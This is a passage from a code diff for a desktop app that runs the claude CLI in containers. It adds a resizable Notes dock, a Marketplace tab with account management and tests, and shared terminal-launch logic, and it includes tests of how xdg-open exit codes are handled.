/// for the case it was added for: no usable `x-scheme-handler/https`
|
||||
/// association.
|
||||
#[test]
|
||||
fn the_codes_that_mean_no_handler_ran_fall_through() {
|
||||
for code in [1, 2, 3, 127] {
|
||||
assert!(
|
||||
exit_code_means_nothing_was_launched(Some(code)),
|
||||
"exit {code} means the opener never launched anything"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// The regression this guards: `xdg-open` returns 4 both when it could not
|
||||
/// act and when the handler it launched returned non-zero — including a
|
||||
/// browser that had already opened the tab. Trying `gio open` next would
|
||||
/// open it a second time, which for an OAuth URL is a second authorize
|
||||
/// request.
|
||||
#[test]
|
||||
fn an_exit_that_may_follow_a_successful_open_does_not_fall_through() {
|
||||
assert!(!exit_code_means_nothing_was_launched(Some(4)));
|
||||
for code in [5, 7, 126, 255] {
|
||||
assert!(
|
||||
!exit_code_means_nothing_was_launched(Some(code)),
|
||||
"exit {code} is not a documented 'did nothing', so it must not be assumed to be one"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// Killed by a signal: `code()` is `None` and the outcome is unknowable,
|
||||
/// so it is treated like any other unrecognised exit.
|
||||
#[test]
|
||||
fn a_death_by_signal_does_not_fall_through() {
|
||||
assert!(!exit_code_means_nothing_was_launched(None));
|
||||
}
|
||||
}
|
||||
@@ -206,6 +206,11 @@ pub async fn handle_connection(socket: WebSocket, state: Arc<WebTerminalState>)
|
||||
writer_handle.abort();
|
||||
}
|
||||
|
||||
/// The desktop terminal's update prelude, reused verbatim. Shared rather than
|
||||
/// copied so the web terminal cannot drift from it — a duplicated `const` with
|
||||
/// a "keep these identical" comment is only as good as the next reader.
|
||||
use crate::commands::terminal_commands::UPDATE_PRELUDE;
|
||||
|
||||
/// Build the command for a terminal session, mirroring terminal_commands.rs logic.
|
||||
fn build_terminal_cmd(project: &Project, settings_store: &crate::storage::settings_store::SettingsStore) -> Vec<String> {
|
||||
let is_bedrock_profile = project.backend == Backend::Bedrock
|
||||
@@ -217,17 +222,6 @@ fn build_terminal_cmd(project: &Project, settings_store: &crate::storage::settin
|
||||
|
||||
let permission_args = project.effective_permission_mode().cli_args();
|
||||
|
||||
if !is_bedrock_profile {
|
||||
let mut cmd = vec!["claude".to_string()];
|
||||
cmd.extend(permission_args);
|
||||
return cmd;
|
||||
}
|
||||
|
||||
let profile = aws_commands::resolve_profile_for_project(
|
||||
project,
|
||||
settings_store.get().global_aws.aws_profile.as_deref(),
|
||||
);
|
||||
|
||||
// The args are interpolated into a shell script string below, so
|
||||
// single-quote each one.
|
||||
let permission_flags: String = permission_args
|
||||
@@ -236,6 +230,19 @@ fn build_terminal_cmd(project: &Project, settings_store: &crate::storage::settin
|
||||
.collect();
|
||||
let claude_cmd = format!("exec claude{}", permission_flags);
|
||||
|
||||
if !is_bedrock_profile {
|
||||
return vec![
|
||||
"bash".to_string(),
|
||||
"-c".to_string(),
|
||||
format!("{}\n{}\n", UPDATE_PRELUDE, claude_cmd),
|
||||
];
|
||||
}
|
||||
|
||||
let profile = aws_commands::resolve_profile_for_project(
|
||||
project,
|
||||
settings_store.get().global_aws.aws_profile.as_deref(),
|
||||
);
|
||||
|
||||
let script = format!(
|
||||
r#"
|
||||
echo "Validating AWS session for profile '{profile}'..."
|
||||
@@ -260,9 +267,11 @@ else
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
{update_prelude}
|
||||
{claude_cmd}
|
||||
"#,
|
||||
profile = profile,
|
||||
update_prelude = UPDATE_PRELUDE,
|
||||
claude_cmd = claude_cmd
|
||||
);
|
||||
|
||||
|
||||
+11
-1
@@ -4,6 +4,7 @@ import { listen } from "@tauri-apps/api/event";
|
||||
import Sidebar from "./components/layout/Sidebar";
|
||||
import TopBar from "./components/layout/TopBar";
|
||||
import StatusBar from "./components/layout/StatusBar";
|
||||
import NotesDock from "./components/layout/NotesDock";
|
||||
import TerminalView from "./components/terminal/TerminalView";
|
||||
import DockerInstallDialog from "./components/DockerInstallDialog";
|
||||
import ProjectHome from "./components/projects/home/ProjectHome";
|
||||
@@ -20,7 +21,9 @@ import { useTerminal } from "./hooks/useTerminal";
|
||||
import { useSTT } from "./hooks/useSTT";
|
||||
import { useContainerProgress } from "./hooks/useContainerProgress";
|
||||
import { useKeyboardShortcuts } from "./hooks/useKeyboardShortcuts";
|
||||
import { useAppState, isHomeTab, tabKeyId, homeTabKey } from "./store/appState";
|
||||
import { useMarketplaceSyncToasts } from "./hooks/useMarketplace";
|
||||
import MarketplaceView from "./components/marketplace/MarketplaceView";
|
||||
import { useAppState, isHomeTab, tabKeyId, homeTabKey, MARKETPLACE_TAB_KEY } from "./store/appState";
|
||||
import { reconcileProjectStatuses } from "./lib/tauri-commands";
|
||||
|
||||
export default function App() {
|
||||
@@ -71,6 +74,7 @@ export default function App() {
|
||||
|
||||
useContainerProgress();
|
||||
useKeyboardShortcuts();
|
||||
useMarketplaceSyncToasts();
|
||||
|
||||
// Initialize on mount
|
||||
useEffect(() => {
|
||||
@@ -158,9 +162,15 @@ export default function App() {
|
||||
/>
|
||||
</PaneVisibilityProvider>
|
||||
))}
|
||||
{tabOrder.includes(MARKETPLACE_TAB_KEY) && (
|
||||
<PaneVisibilityProvider visible={activeTabKey === MARKETPLACE_TAB_KEY}>
|
||||
<MarketplaceView active={activeTabKey === MARKETPLACE_TAB_KEY} />
|
||||
</PaneVisibilityProvider>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</main>
|
||||
<NotesDock />
|
||||
</div>
|
||||
<StatusBar stt={stt} />
|
||||
<ToastHost />
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { useEffect, useState } from "react";
|
||||
import { openUrl } from "@tauri-apps/plugin-opener";
|
||||
import { useInstallHelper } from "../hooks/useInstallHelper";
|
||||
import { openUrlExternal } from "../lib/tauri-commands";
|
||||
import { useDocker } from "../hooks/useDocker";
|
||||
import Modal from "./ui/Modal";
|
||||
import Button from "./ui/Button";
|
||||
@@ -41,7 +41,7 @@ export default function DockerInstallDialog({ onClose }: Props) {
|
||||
const handleOpenDocs = async () => {
|
||||
if (!options) return;
|
||||
try {
|
||||
await openUrl(options.docs_url);
|
||||
await openUrlExternal(options.docs_url);
|
||||
} catch (e) {
|
||||
console.error("Failed to open docs URL:", e);
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { fireEvent, render, screen } from "@testing-library/react";
|
||||
import MainTabs from "./MainTabs";
|
||||
import { useAppState, homeTabKey, terminalTabKey } from "../../store/appState";
|
||||
import { useAppState, homeTabKey, terminalTabKey, MARKETPLACE_TAB_KEY } from "../../store/appState";
|
||||
import type { Project, TerminalSession } from "../../lib/types";
|
||||
|
||||
const close = vi.fn();
|
||||
@@ -265,3 +265,20 @@ describe("MainTabs reordering", () => {
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("marketplace tab", () => {
|
||||
beforeEach(() => {
|
||||
useAppState.setState({
|
||||
tabOrder: [HOME, MARKETPLACE_TAB_KEY],
|
||||
activeTabKey: MARKETPLACE_TAB_KEY,
|
||||
activeSessionId: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("renders a Marketplace tab that closes", () => {
|
||||
render(<MainTabs />);
|
||||
expect(screen.getByRole("tab", { name: /marketplace/i })).toHaveAttribute("aria-selected", "true");
|
||||
fireEvent.click(screen.getByRole("button", { name: "Close Marketplace tab" }));
|
||||
expect(useAppState.getState().tabOrder).toEqual([HOME]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -5,11 +5,13 @@ import { useProjects } from "../../hooks/useProjects";
|
||||
import {
|
||||
useAppState,
|
||||
isHomeTab,
|
||||
isMarketplaceTab,
|
||||
tabKeyId,
|
||||
terminalTabKey,
|
||||
} from "../../store/appState";
|
||||
import { effectivePermissionMode } from "../projects/PermissionModeControl";
|
||||
import { ProjectStatusIndicator } from "../ui/StatusIndicator";
|
||||
import { sessionDisplayName } from "../../lib/sessionName";
|
||||
import type { PermissionMode } from "../../lib/types";
|
||||
|
||||
interface ContextMenuState {
|
||||
@@ -25,6 +27,7 @@ const MODE_BADGE: Record<PermissionMode, { text: string; className: string }> =
|
||||
plan: { text: "plan", className: "bg-[var(--bg-tertiary)] text-[var(--text-secondary)]" },
|
||||
default: { text: "ask", className: "bg-[var(--bg-tertiary)] text-[var(--text-secondary)]" },
|
||||
acceptEdits: { text: "edits", className: "bg-[var(--accent-muted)] text-[var(--accent)]" },
|
||||
auto: { text: "auto", className: "bg-[var(--accent-muted)] text-[var(--accent)]" },
|
||||
bypass: { text: "bypass", className: "bg-[var(--warning-muted)] text-[var(--warning)]" },
|
||||
};
|
||||
|
||||
@@ -39,12 +42,13 @@ const MODE_BADGE: Record<PermissionMode, { text: string; className: string }> =
|
||||
export default function MainTabs() {
|
||||
const { sessions, close } = useTerminal();
|
||||
const { projects, update } = useProjects();
|
||||
const { tabOrder, activeTabKey, setActiveTabKey, closeHomeTab, moveTab } = useAppState(
|
||||
const { tabOrder, activeTabKey, setActiveTabKey, closeHomeTab, closeMarketplaceTab, moveTab } = useAppState(
|
||||
useShallow((s) => ({
|
||||
tabOrder: s.tabOrder,
|
||||
activeTabKey: s.activeTabKey,
|
||||
setActiveTabKey: s.setActiveTabKey,
|
||||
closeHomeTab: s.closeHomeTab,
|
||||
closeMarketplaceTab: s.closeMarketplaceTab,
|
||||
moveTab: s.moveTab,
|
||||
})),
|
||||
);
|
||||
@@ -190,16 +194,16 @@ export default function MainTabs() {
|
||||
* worse than no ghost.
|
||||
*/
|
||||
const tabLabel = (key: string): string => {
|
||||
if (isMarketplaceTab(key)) return "Marketplace";
|
||||
if (isHomeTab(key)) {
|
||||
return projects.find((p) => p.id === tabKeyId(key))?.name ?? "";
|
||||
}
|
||||
const session = sessions.find((s) => s.id === tabKeyId(key));
|
||||
if (!session) return "";
|
||||
const custom = getCustomName(session.projectId, session.id);
|
||||
return custom
|
||||
? `${session.projectName}: ${custom}`
|
||||
: (session.sessionName ?? session.projectName) +
|
||||
(session.sessionType === "bash" ? " (bash)" : "");
|
||||
return sessionDisplayName(
|
||||
session,
|
||||
projects.find((p) => p.id === session.projectId),
|
||||
);
|
||||
};
|
||||
|
||||
const endDrag = () => {
|
||||
@@ -271,7 +275,7 @@ export default function MainTabs() {
|
||||
x: e.clientX - drag.offsetX,
|
||||
y: drag.top,
|
||||
label: tabLabel(drag.key),
|
||||
icon: isHomeTab(drag.key) ? "⌂" : "▣",
|
||||
icon: isMarketplaceTab(drag.key) ? "◈" : isHomeTab(drag.key) ? "⌂" : "▣",
|
||||
});
|
||||
},
|
||||
onPointerUp: (e: React.PointerEvent<HTMLDivElement>) => {
|
||||
@@ -313,6 +317,41 @@ export default function MainTabs() {
|
||||
const renderTab = (key: string, index: number) => {
|
||||
const active = activeTabKey === key;
|
||||
|
||||
if (isMarketplaceTab(key)) {
|
||||
return (
|
||||
<div
|
||||
role="tab"
|
||||
aria-selected={active}
|
||||
tabIndex={0}
|
||||
data-tab-index={index}
|
||||
onClick={() => activateTab(key)}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === "Enter" || e.key === " ") {
|
||||
e.preventDefault();
|
||||
setActiveTabKey(key);
|
||||
}
|
||||
}}
|
||||
{...pointerProps(key, false)}
|
||||
className={tabClass(active, dragKey === key)}
|
||||
>
|
||||
<span aria-hidden="true" className="text-[var(--text-secondary)]">◈</span>
|
||||
<span className="truncate max-w-[160px]">Marketplace</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
closeMarketplaceTab();
|
||||
}}
|
||||
aria-label="Close Marketplace tab"
|
||||
title="Close tab"
|
||||
className="w-6 h-6 flex items-center justify-center rounded-[var(--radius-control)] text-[var(--text-secondary)] hover:text-[var(--error)] hover:bg-[var(--bg-tertiary)] transition-colors"
|
||||
>
|
||||
<span aria-hidden="true">×</span>
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (isHomeTab(key)) {
|
||||
const projectId = tabKeyId(key);
|
||||
const project = projects.find((p) => p.id === projectId);
|
||||
@@ -358,13 +397,7 @@ export default function MainTabs() {
|
||||
const session = sessions.find((s) => s.id === sessionId);
|
||||
if (!session) return null;
|
||||
const project = projects.find((p) => p.id === session.projectId);
|
||||
const customName = getCustomName(session.projectId, session.id);
|
||||
const baseLabel =
|
||||
(session.sessionName ?? session.projectName) +
|
||||
(session.sessionType === "bash" ? " (bash)" : "");
|
||||
const displayLabel = customName
|
||||
? `${session.projectName}: ${customName}`
|
||||
: baseLabel;
|
||||
const displayLabel = sessionDisplayName(session, project);
|
||||
const isRenaming = renamingId === session.id;
|
||||
const badge = project ? MODE_BADGE[effectivePermissionMode(project)] : null;
|
||||
|
||||
|
||||
@@ -0,0 +1,113 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { render, screen, fireEvent } from "@testing-library/react";
|
||||
import NotesDock from "./NotesDock";
|
||||
import type { Project, TerminalSession } from "../../lib/types";
|
||||
|
||||
vi.mock("../notes/NotesDockPanel", () => ({
|
||||
default: ({ projectId }: { projectId: string }) => (
|
||||
<div data-testid="panel">{`panel:${projectId}`}</div>
|
||||
),
|
||||
}));
|
||||
|
||||
let state: Record<string, unknown> = {};
|
||||
vi.mock("../../store/appState", () => ({
|
||||
useAppState: Object.assign(
|
||||
(selector: (s: unknown) => unknown) => selector(state),
|
||||
{ getState: () => state },
|
||||
),
|
||||
isHomeTab: (k: string) => k.startsWith("home:"),
|
||||
isTerminalTab: (k: string) => k.startsWith("term:"),
|
||||
tabKeyId: (k: string) => k.slice(k.indexOf(":") + 1),
|
||||
// The mocked store module still needs to supply the width constants the
|
||||
// dock imports from it for the separator's aria-value attributes.
|
||||
NOTES_DOCK_MIN_WIDTH: 260,
|
||||
NOTES_DOCK_MAX_WIDTH: 720,
|
||||
}));
|
||||
|
||||
const session: TerminalSession = {
|
||||
id: "s1",
|
||||
projectId: "p9",
|
||||
projectName: "api",
|
||||
sessionType: "claude",
|
||||
sessionName: null,
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
state = {
|
||||
notesDockOpen: true,
|
||||
setNotesDockOpen: vi.fn(),
|
||||
toggleNotesDock: vi.fn(),
|
||||
notesDockWidth: 352,
|
||||
setNotesDockWidth: vi.fn(),
|
||||
activeTabKey: null,
|
||||
sessions: [session],
|
||||
projects: [{ id: "p9", name: "api" } as unknown as Project],
|
||||
};
|
||||
});
|
||||
|
||||
describe("NotesDock", () => {
|
||||
it("renders nothing when closed", () => {
|
||||
state.notesDockOpen = false;
|
||||
const { container } = render(<NotesDock />);
|
||||
expect(container).toBeEmptyDOMElement();
|
||||
});
|
||||
|
||||
it("follows a project home tab", () => {
|
||||
state.activeTabKey = "home:p1";
|
||||
render(<NotesDock />);
|
||||
expect(screen.getByTestId("panel")).toHaveTextContent("panel:p1");
|
||||
});
|
||||
|
||||
it("follows the project of the active terminal tab", () => {
|
||||
// The dock exists to be visible while the agent runs, so a terminal tab
|
||||
// must resolve to its project, not to nothing.
|
||||
state.activeTabKey = "term:s1";
|
||||
render(<NotesDock />);
|
||||
expect(screen.getByTestId("panel")).toHaveTextContent("panel:p9");
|
||||
});
|
||||
|
||||
it("explains itself when no project is active", () => {
|
||||
state.activeTabKey = null;
|
||||
render(<NotesDock />);
|
||||
expect(screen.queryByTestId("panel")).not.toBeInTheDocument();
|
||||
expect(screen.getByText(/open a project/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("shows nothing for a terminal whose session has gone", () => {
|
||||
state.activeTabKey = "term:vanished";
|
||||
render(<NotesDock />);
|
||||
expect(screen.queryByTestId("panel")).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("renders at the stored width", () => {
|
||||
state.activeTabKey = "home:p1";
|
||||
state.notesDockWidth = 420;
|
||||
render(<NotesDock />);
|
||||
expect(screen.getByLabelText("Notes")).toHaveStyle({ width: "420px" });
|
||||
});
|
||||
|
||||
it("has a keyboard-reachable resize handle", () => {
|
||||
// Drag is a mouse gesture; a separator that only responds to pointer
|
||||
// events is unusable without one.
|
||||
state.activeTabKey = "home:p1";
|
||||
render(<NotesDock />);
|
||||
const handle = screen.getByRole("separator", { name: /resize notes/i });
|
||||
fireEvent.keyDown(handle, { key: "ArrowLeft" });
|
||||
expect(state.setNotesDockWidth).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("widens on ArrowLeft and narrows on ArrowRight, by the exact step", () => {
|
||||
// The dock sits on the right edge, so dragging or pressing left grows it
|
||||
// and right shrinks it. Asserting only "was called" would pass even if
|
||||
// the branches were swapped or the sign inverted.
|
||||
state.activeTabKey = "home:p1";
|
||||
render(<NotesDock />);
|
||||
const handle = screen.getByRole("separator", { name: /resize notes/i });
|
||||
|
||||
fireEvent.keyDown(handle, { key: "ArrowLeft" });
|
||||
expect(state.setNotesDockWidth).toHaveBeenLastCalledWith(368);
|
||||
|
||||
fireEvent.keyDown(handle, { key: "ArrowRight" });
|
||||
expect(state.setNotesDockWidth).toHaveBeenLastCalledWith(336);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,128 @@
|
||||
import { useShallow } from "zustand/react/shallow";
|
||||
import {
|
||||
useAppState,
|
||||
isHomeTab,
|
||||
isTerminalTab,
|
||||
tabKeyId,
|
||||
NOTES_DOCK_MIN_WIDTH,
|
||||
NOTES_DOCK_MAX_WIDTH,
|
||||
} from "../../store/appState";
|
||||
import NotesDockPanel from "../notes/NotesDockPanel";
|
||||
import Button from "../ui/Button";
|
||||
|
||||
/**
|
||||
* Notes beside whatever is on screen.
|
||||
*
|
||||
* Project Home and Terminal are sibling top-level tabs, so notes living only
|
||||
* in a sub-tab would be hidden exactly when the agent is running — which is
|
||||
* when a note is worth sending. The dock is the answer to that.
|
||||
*
|
||||
* **It takes space from inside the window and never resizes it.** Growing the
|
||||
* OS window was tried and rejected on evidence: honoured under XWayland,
|
||||
* silently corrupting under native Wayland, where `outer_position()` returns a
|
||||
* confident `Ok(0,0)` for a window that is somewhere else. See the design doc,
|
||||
* §6.1. Narrowing the terminal instead costs nothing — `TerminalView`'s
|
||||
* ResizeObserver already reflows xterm and resizes the container PTY.
|
||||
*/
|
||||
export default function NotesDock() {
|
||||
const {
|
||||
notesDockOpen,
|
||||
setNotesDockOpen,
|
||||
notesDockWidth,
|
||||
setNotesDockWidth,
|
||||
activeTabKey,
|
||||
sessions,
|
||||
} = useAppState(
|
||||
useShallow((s) => ({
|
||||
notesDockOpen: s.notesDockOpen,
|
||||
setNotesDockOpen: s.setNotesDockOpen,
|
||||
notesDockWidth: s.notesDockWidth,
|
||||
setNotesDockWidth: s.setNotesDockWidth,
|
||||
activeTabKey: s.activeTabKey,
|
||||
sessions: s.sessions,
|
||||
})),
|
||||
);
|
||||
|
||||
// Dragging the separator. Pointer capture rather than window listeners, so
|
||||
// the drag survives the pointer crossing the terminal — which swallows
|
||||
// events — and ends correctly if the button is released outside the window.
|
||||
const onPointerDown = (e: React.PointerEvent<HTMLDivElement>) => {
|
||||
e.preventDefault();
|
||||
const handle = e.currentTarget;
|
||||
handle.setPointerCapture(e.pointerId);
|
||||
const startX = e.clientX;
|
||||
const startWidth = notesDockWidth;
|
||||
// The dock is on the right, so dragging left widens it.
|
||||
const onMove = (move: PointerEvent) =>
|
||||
setNotesDockWidth(startWidth + (startX - move.clientX));
|
||||
const onUp = () => {
|
||||
handle.releasePointerCapture(e.pointerId);
|
||||
handle.removeEventListener("pointermove", onMove);
|
||||
handle.removeEventListener("pointerup", onUp);
|
||||
};
|
||||
handle.addEventListener("pointermove", onMove);
|
||||
handle.addEventListener("pointerup", onUp);
|
||||
};
|
||||
|
||||
const onHandleKeyDown = (e: React.KeyboardEvent<HTMLDivElement>) => {
|
||||
const step = e.shiftKey ? 64 : 16;
|
||||
if (e.key === "ArrowLeft") {
|
||||
e.preventDefault();
|
||||
setNotesDockWidth(notesDockWidth + step);
|
||||
} else if (e.key === "ArrowRight") {
|
||||
e.preventDefault();
|
||||
setNotesDockWidth(notesDockWidth - step);
|
||||
}
|
||||
};
|
||||
|
||||
if (!notesDockOpen) return null;
|
||||
|
||||
// Follow whatever is in front: a home tab is its own project, a terminal tab
|
||||
// is the project it belongs to. The Marketplace tab belongs to no project.
|
||||
let projectId: string | null = null;
|
||||
if (activeTabKey && isHomeTab(activeTabKey)) {
|
||||
projectId = tabKeyId(activeTabKey);
|
||||
} else if (activeTabKey && isTerminalTab(activeTabKey)) {
|
||||
projectId =
|
||||
sessions.find((s) => s.id === tabKeyId(activeTabKey))?.projectId ?? null;
|
||||
}
|
||||
|
||||
return (
|
||||
<aside
|
||||
aria-label="Notes"
|
||||
style={{ width: `${notesDockWidth}px` }}
|
||||
className="relative flex-shrink-0 flex flex-col min-h-0 bg-[var(--bg-secondary)] border border-[var(--border-color)] rounded-[var(--radius-panel)] overflow-hidden"
|
||||
>
|
||||
{/* Separator, not decoration: it carries a role and arrow keys, because
|
||||
a resize that only answers to a drag is unavailable to anyone not
|
||||
using a mouse. */}
|
||||
<div
|
||||
role="separator"
|
||||
aria-label="Resize notes panel"
|
||||
aria-orientation="vertical"
|
||||
aria-valuenow={notesDockWidth}
|
||||
aria-valuemin={NOTES_DOCK_MIN_WIDTH}
|
||||
aria-valuemax={NOTES_DOCK_MAX_WIDTH}
|
||||
tabIndex={0}
|
||||
onPointerDown={onPointerDown}
|
||||
onKeyDown={onHandleKeyDown}
|
||||
className="absolute left-0 top-0 h-full w-1.5 cursor-col-resize hover:bg-[var(--accent-muted)] transition-colors"
|
||||
/>
|
||||
<div className="flex items-center justify-between gap-2 px-3 h-9 flex-shrink-0 border-b border-[var(--border-color)]">
|
||||
<h2 className="text-[13px] font-semibold text-[var(--text-primary)]">Notes</h2>
|
||||
<Button variant="ghost" onClick={() => setNotesDockOpen(false)} aria-label="Close notes">
|
||||
Close
|
||||
</Button>
|
||||
</div>
|
||||
<div className="flex-1 min-h-0">
|
||||
{projectId ? (
|
||||
<NotesDockPanel projectId={projectId} />
|
||||
) : (
|
||||
<p className="p-4 text-[13px] text-[var(--text-secondary)]">
|
||||
Open a project or a terminal to see its notes.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</aside>
|
||||
);
|
||||
}
|
||||
@@ -10,7 +10,7 @@ interface Props {
|
||||
export default function StatusBar({ stt }: Props) {
|
||||
const {
|
||||
projects, sessions, terminalHasSelection, activeSessionId, sttEnabled,
|
||||
terminalAtBottom, scrollActiveToBottom,
|
||||
notesDockOpen, toggleNotesDock, terminalMouseCaptured, releaseActiveMouse,
|
||||
} = useAppState(
|
||||
useShallow(s => ({
|
||||
projects: s.projects,
|
||||
@@ -18,8 +18,10 @@ export default function StatusBar({ stt }: Props) {
|
||||
terminalHasSelection: s.terminalHasSelection,
|
||||
activeSessionId: s.activeSessionId,
|
||||
sttEnabled: s.appSettings?.stt?.enabled,
|
||||
terminalAtBottom: s.terminalAtBottom,
|
||||
scrollActiveToBottom: s.scrollActiveToBottom,
|
||||
notesDockOpen: s.notesDockOpen,
|
||||
toggleNotesDock: s.toggleNotesDock,
|
||||
terminalMouseCaptured: s.terminalMouseCaptured,
|
||||
releaseActiveMouse: s.releaseActiveMouse,
|
||||
}))
|
||||
);
|
||||
const running = projects.filter((p) => p.status === "running").length;
|
||||
@@ -58,17 +60,26 @@ export default function StatusBar({ stt }: Props) {
|
||||
</span>
|
||||
</>
|
||||
)}
|
||||
{/* Right-aligned controls: Jump to Current + STT mic */}
|
||||
{/* Right-aligned controls: mouse release + Notes + STT mic */}
|
||||
<div className="ml-auto flex items-center gap-3 pl-2">
|
||||
{activeSessionId && !terminalAtBottom && (
|
||||
{activeSessionId && terminalMouseCaptured && (
|
||||
<button
|
||||
onClick={() => scrollActiveToBottom()}
|
||||
data-mouse-release="true"
|
||||
onClick={() => releaseActiveMouse()}
|
||||
className="text-[var(--accent)] hover:text-[var(--accent-hover)] cursor-pointer"
|
||||
title="Scroll the terminal to the latest output"
|
||||
title="A program in the container is reading the mouse, so clicks and drags go to it instead of selecting text. Click, or press Ctrl+Shift+X, to take it back. To select text without taking it back, hold Shift while dragging (Option on macOS)."
|
||||
>
|
||||
Jump to Current ↓
|
||||
🖱 Mouse captured — release
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
onClick={toggleNotesDock}
|
||||
aria-pressed={notesDockOpen}
|
||||
className="text-[var(--accent)] hover:text-[var(--accent-hover)] cursor-pointer"
|
||||
title="Show or hide the notes panel beside the current tab"
|
||||
>
|
||||
Notes
|
||||
</button>
|
||||
{sttEnabled && activeSessionId && (
|
||||
<SttButton
|
||||
state={stt.state}
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import type { AppSettings } from "../../lib/types";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
|
||||
const testMarketplaceAccount = vi.fn();
|
||||
const removeMarketplaceAccount = vi.fn();
|
||||
vi.mock("../../lib/tauri-commands", () => ({
|
||||
testMarketplaceAccount: (id: string) => testMarketplaceAccount(id),
|
||||
removeMarketplaceAccount: (id: string) => removeMarketplaceAccount(id),
|
||||
}));
|
||||
vi.mock("./AddAccountModal", () => ({ default: () => <div>add account modal</div> }));
|
||||
|
||||
import AccountsPane from "./AccountsPane";
|
||||
|
||||
const settings = {
|
||||
marketplace_accounts: [
|
||||
{ id: "a1", label: "Personal", host: "github.com", method: "gh_host", username: "me" },
|
||||
{ id: "a2", label: "Gitea", host: "repo.example.com", method: "token", username: "jk" },
|
||||
],
|
||||
marketplaces: [{ id: "m1", name: "Team", url: "https://repo.example.com/t/m.git", branch: null, account_id: "a2" }],
|
||||
global_marketplace_installs: [],
|
||||
} as unknown as AppSettings;
|
||||
|
||||
describe("AccountsPane", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
useAppState.setState({ appSettings: settings, toasts: [] });
|
||||
});
|
||||
|
||||
it("lists accounts with their method and usage", () => {
|
||||
render(<AccountsPane mp={{} as MarketplaceApi} />);
|
||||
expect(screen.getByText("Personal")).toBeInTheDocument();
|
||||
expect(screen.getByText(/gh on this computer/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/Used by Team$/)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("tests an account", async () => {
|
||||
testMarketplaceAccount.mockResolvedValue("me");
|
||||
render(<AccountsPane mp={{} as MarketplaceApi} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Test Personal" }));
|
||||
await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" }));
|
||||
expect(useAppState.getState().toasts[0].message).toContain("me");
|
||||
});
|
||||
|
||||
// F5: the backend refuses to remove an account a marketplace uses, so the
|
||||
// UI must not promise otherwise with a confirm modal — Remove is disabled
|
||||
// with a hint instead, and there is no confirm step to click through.
|
||||
it("disables Remove for an account in use, with a hint", () => {
|
||||
render(<AccountsPane mp={{} as MarketplaceApi} />);
|
||||
const removeGitea = screen.getByRole("button", { name: "Remove Gitea" });
|
||||
expect(removeGitea).toHaveAttribute("aria-disabled", "true");
|
||||
expect(screen.getByText(/Used by Team.*change or remove that marketplace first/)).toBeInTheDocument();
|
||||
fireEvent.click(removeGitea);
|
||||
expect(removeMarketplaceAccount).not.toHaveBeenCalled();
|
||||
expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("removes an unused account", async () => {
|
||||
removeMarketplaceAccount.mockResolvedValue({ ...settings, marketplace_accounts: [settings.marketplace_accounts[1]] });
|
||||
render(<AccountsPane mp={{} as MarketplaceApi} />);
|
||||
const removePersonal = screen.getByRole("button", { name: "Remove Personal" });
|
||||
expect(removePersonal).not.toHaveAttribute("aria-disabled");
|
||||
fireEvent.click(removePersonal);
|
||||
await waitFor(() => expect(removeMarketplaceAccount).toHaveBeenCalledWith("a1"));
|
||||
await waitFor(() => expect(useAppState.getState().appSettings!.marketplace_accounts).toHaveLength(1));
|
||||
});
|
||||
|
||||
it("opens the add dialog", () => {
|
||||
render(<AccountsPane mp={{} as MarketplaceApi} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Add account" }));
|
||||
expect(screen.getByText("add account modal")).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,108 @@
|
||||
import { useState } from "react";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import { removeMarketplaceAccount, testMarketplaceAccount } from "../../lib/tauri-commands";
|
||||
import type { AccountMethod, MarketplaceAccount } from "../../lib/types";
|
||||
import Button from "../ui/Button";
|
||||
import AddAccountModal from "./AddAccountModal";
|
||||
|
||||
const METHOD_LABEL: Record<AccountMethod, string> = {
|
||||
gh_host: "GitHub — gh on this computer",
|
||||
gh_container: "GitHub — signed in via container",
|
||||
token: "Access token",
|
||||
};
|
||||
|
||||
export default function AccountsPane(_props: { mp: MarketplaceApi }) {
|
||||
const appSettings = useAppState((s) => s.appSettings);
|
||||
const setAppSettings = useAppState((s) => s.setAppSettings);
|
||||
const pushToast = useAppState((s) => s.pushToast);
|
||||
const [adding, setAdding] = useState(false);
|
||||
const [testing, setTesting] = useState<string | null>(null);
|
||||
const [removing, setRemoving] = useState<string | null>(null);
|
||||
|
||||
const accounts = appSettings?.marketplace_accounts ?? [];
|
||||
const marketplaces = appSettings?.marketplaces ?? [];
|
||||
